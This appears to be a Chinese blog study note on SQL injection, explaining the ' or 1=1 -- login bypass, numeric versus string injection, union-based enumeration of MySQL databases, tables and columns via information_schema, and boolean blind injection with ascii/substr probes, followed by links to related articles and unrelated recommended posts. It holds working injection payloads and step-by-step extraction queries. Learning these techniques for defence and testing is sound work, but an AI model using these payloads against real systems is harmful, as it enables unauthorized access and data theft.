SQL注入漏洞:Web安全方面最高危的漏洞,SQL漏洞威胁着网站后台数据的安全问题。


网上常说“万能密码”,这个万能密码则就是利用了SQL注入漏洞;

' or 1=1 --

上述的万能密码输入在用户登录框中 ,如果把他和SQL语句拼接,就可以发现奥秘:

String sql = "Select count(*) from admin where username = ' 'or 1=1 -- ' and password = '********'

上述SQL语句则是我们输入万能密码后,服务器后台拼接的SQL语句;仔细观察语句,发现 ‘ or 1=1 -- 的作用就是将前面的语句闭合为空,然后or判断1=1,最用 -- 将其后的语句注释掉。由此 ‘or 1=1 -- 就可以完全的绕过SQL中的查询验证。

SQL漏洞的分类:

1、数字型注入漏洞:

  当输入的参数为整型时,则可以认为是数字型注入;(需要注意的是,数字型注入不需要单引号闭合哦)设定如下SQL语句环境:

select * from table where id=8 ;

id=8是测试的输入;如果报错则不是整型输入,若不报错则认为是整型输入;

select * from table where id=8 and 1=1
select * from table where id=8 and 1=2

如上,第一条SQL输入若返回结果和原结果无差别,第二条返回的结果可以执行但没有结果,——则可以认为该处存在数字型注入点;

2、字符型注入漏洞:

  当输入的参数为字符串时,(字符型输入需要单引号闭合哦)

字符型和数字型例句比较:

数字型:
select * from table where id=8 ;
字符型:
select * from table where username='admin'

字符型注入最重要的就是要闭合SQL语句和注释掉多余的SQL语句;原因解释:

在SQL语句中,字符串会被单引号给转义化,在SQL拼接我们的输入的数据的时候,
会用单引号将我们的输入内容给单引号转义化,整个输入内容都会被认为是需要查询的内容串,
由此我们需要用单引号闭合SQL拼接的单引号,而后在 -- 注释掉后面的内容(单引号)让我们的注入语句可以不被SQL拼接而导致转义化。
select * from username = ' ** '

上述为还未拼接的SQL语句,在查询处首先用单引号包含,目的就是将用户输入的内容以字符的内容形式查询;

select * from username = ' ' or 1=1 -- ' '

上例SQL语句则是拼接后的语句,可以观察出,’ 与之前的单引号成对,将两个单引号之间的内容闭合了,其后 or 1=1 则可以形成一个单独的非字符串的SQL功能语句, -- 注释语句可以将后面更多的碍事的SQL语句给注释掉。

## 字符型SQL注入,必须闭合单引号并注释多余的SQL语句。

——————————
https://mp.weixin.qq.com/s/vIHbtpi6eiv4ZoZ9ztyjsA

常见的mysql数据库注入姿势:(引用上方链接内容)

功能  |    查询语句

查库  | select schema_name from information_schema.schemata              |  查当前数据库中所有库名

查表  |   select table_name from information_schema.tables where table_schema = ‘库名’    | 查库中的所有表名

查列  |  select column_name from information_schema.columns where table_name = ‘表名’  |  查表中的所有列名

查数据    | select 列名  from 库名.表名                              |

mySQL内置库—— information_schema:

  其中保存有MYSQL所维护的所有数据库信息,包括库名、表名、表列、权限……等信息

Mysql内置库—— performance_schema:

  用于收集数据库服务器的性能参数

mysql内置库——mysql:

  保留mysql的账户信息、权限、存储过程、event、时区等配置信息

mysql内置库——sys:

  百度哦~~~~

数据库的注入一般分步骤的:

第一步:判断注入点

  我们需要判断数字型还是字符型注入类型,主要依靠or或and条件语句是否被处理(单引号闭合和语句注释非常重要)

第二部:猜解字段数

  我们需要猜出我们查询语句中的字段数;

1 ' order by 1 --     //正常
1 ' order by 2 -- //正常
1 ' order by 3 -- //报错

根据上例的SQL语句可以得出,我们查询语句中只有2个字段;

第三步:确定显示的字段

  利用 union 联合查询(回显注入) ;

第四步:获取当前数据库的库名

1 ' union select 1,database() --

第五步:获取数据库中的表

**  ' union select 1,table_name from information_schema.tables where table_schema = '库名'

第六步:获取字段名

** ' union select 1,column_name from information_schema.columns where table_name = '表名'

第七步:查询需求数据

——————————————————————

SQL盲注:

1、判断注入点

2、猜解当前库名

  盲注不可以利用回显注入的方式直接获得数据,但是我们可以一一猜解,猜解条件就是利用前面的真假条件:

1 ' and true #  结果为真
1 ' and false # 结果为假

3、获得库名长度

  盲注中获取字符串长度 length(str);由此猜解数据库名的长度。

输入 1 ' and length(database())>1 --    [结果为真表示长度大于1]
输入 1 ' and length(database())>10 -- [结果为假表示长度小于10]

  left(str,n)  【从左侧开始截取字符串str的前n位】

substr(expression,start,length)

获取字符串  (原始字符串 字符串开始的位置 字串长度)

  ASCII(a) 【将某个字符转换为ASCII值】

  mid() 函数 与 substr函数功能类似

  ord()函数 与  ASCII函数功能类似

  regexp {(select user())regexp '^r}  正则用法

常用 POC

and left(select(database()),1) = 'a' -- +
and (select database()) regexp '^r'
and (select database()) like 'r%'
and ord(mid((select database())1,1))>97
and ascii(substr((select database()),1,1))>97 [常用]

输入:

1'and ascii(substr((select database()),1,1))>97

正常返回,则表示数据库的第一个字符的ascii值大于97 ;#依次采用逐步猜解的方法就可以逐步的推断出库名了

4、猜解库中的表数量

and (select count(table_name) from information_schema.tables where table_schema=库名) = 数量

当上条SQL语句显示存在时,则当前的数量就是库中表的数量。

5、猜解表名

  第一步:猜解出表名的长度

and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=长度量  【猜解表名长度】

  按照上面的SQL猜解出表名的长度。

  第二步:猜解表名

and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>ascii数

  按照上述的SQL推倒,可以逐步推演出表名。

6、猜解字段名

and (select count(column_name) from information_schema.columns where table_name = 表名) = 字段的数量
and length(select column_name from information_schema.columns where table_name = 表名 limit 0,1)=字段名长度


双注入查询需要理解四个函数/语句
1. Rand() //随机函数 返回0-1之间的随机数
2. Floor() //取整函数
3. Count() //汇总函数
4. Group by //分组语句


SQL注入衔接学习:https://mp.weixin.qq.com/s/NKO5RbYUerhxlZtmPjxDSQ

……………………

SQL 注入漏洞浅研究学习的更多相关文章

  1. sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)

    (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...

  2. 2020/1/27代码审计学习之SQL注入漏洞

    PHP代码审计SQL注入漏洞 0x00 首先明确什么是SQL注入,SQL语句必须掌握. 常见的注入总的来说可以分为两大类:数字型和字符型. 这两类中包含了诸如报错注入,宽字节注入,盲注,二次注入,co ...

  3. [转]SQL注入漏洞及绑定变量浅谈

    1.一个问题引发的思考 大家在群里讨论了一个问题,奉文帅之命写篇作文,且看: String user_web = "user_web" String sql = "upd ...

  4. 浅谈SQL注入漏洞以及防范策略

    --HeShiwei 2014-5-15 什么是SQL注入 SQL注入,指的是用户通过向登录框输入恶意字符,利用代码的字符串拼接漏洞进行网站注入攻击,最终导致整个网站用户表信息泄露的攻击方式.黑客就是 ...

  5. 10年前,我就用 SQL注入漏洞黑了学校网站

    我是风筝,公众号「古时的风筝」,一个兼具深度与广度的程序员鼓励师,一个本打算写诗却写起了代码的田园码农! 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在 ...

  6. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  7. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  8. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  9. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

随机推荐

  1. INT 3 中断调试处理流程

    Windows内核分析索引目录:https://www.cnblogs.com/onetrainee/p/11675224.html INT 3 中断调试处理流程 一.调试器如何下INT 3 断点 1 ...

  2. jmap 导出 tomcat 内存快照分析

    登录系统(注意这里启动 tomcat 的用户) # 获取 tomcat 的 pid 号 ps -ef|grep tomcat # 例如这里 pid 号为 13133 jmap -dump:live,f ...

  3. 【转载】Android App应用启动分析与优化

    前言: 昨晚新版本终于发布了,但是还是记得有测试反馈app启动好长时间也没进入app主页,所以今天准备加个班总结一下App启动那些事! app的启动方式: 1.)冷启动  当启动应用时,后台没有该应用 ...

  4. Jackson version is too old 2.xx

    我使用的是IDEA,很简单. 切换到project,如果下面的module版本是2.65,上面的jackson.core.xx小于2.65就会报old,如果高于2.65就会报不兼容. 所以调整成相同的 ...

  5. PHP代码篇(六)--如何根据邀请人id查询满足条件的会员上级

    说,如果有一个会员表,每一个会员都有一个邀请人from_id字段(记录该会员是谁邀请的),知道一个会员id,现在需要查询某一个会员是否是该会员的下级. 表如下: 一.当下需求 1.我们需要知道会员id ...

  6. DNS服务搭建(正反向解析)

    版权声明:本文为博主原创文章,支持原创,转载请附上原文出处链接和本声明. 本文地址链接:https://www.cnblogs.com/wannengachao/p/11954625.html 1.安 ...

  7. Windows 10 任务栏添加网易云音乐控制按钮

      软件背景: 算是老帖新发,之前有朋友分享过一个很好用的工具,但可能是因为网易云软件更新后,导致控件失灵了,只剩下歌词控件有用了,所以今天用python重新写了一个小工具,发出来分享给大家,附上之前 ...

  8. BERT源码分析

    一.整体 整个代码文件如下: 二.tensorflow基础 1.tf.expand_dims 作用:给定张量“ input”,此操作将在“ input”形状的尺寸索引“ axis”处插入尺寸为1的尺寸 ...

  9. Java之匿名对象

    匿名对象概念 创建对象时,只有创建对象的语句,却没有把对象地址值赋值给某个变量.虽然是创建对象的简化写法,但是应用场景非常有限.匿名对象 :没有变量名的对象. 格式: new 类名(参数列表): // ...

  10. 【2019.8.20 NOIP模拟赛 T2】小B的树(tree)(树形DP)

    树形\(DP\) 考虑设\(f_{i,j,k}\)表示在\(i\)的子树内,从\(i\)向下的最长链长度为\(j\),\(i\)子树内直径长度为\(k\)的概率. 然后我们就能发现这个东西直接转移是几 ...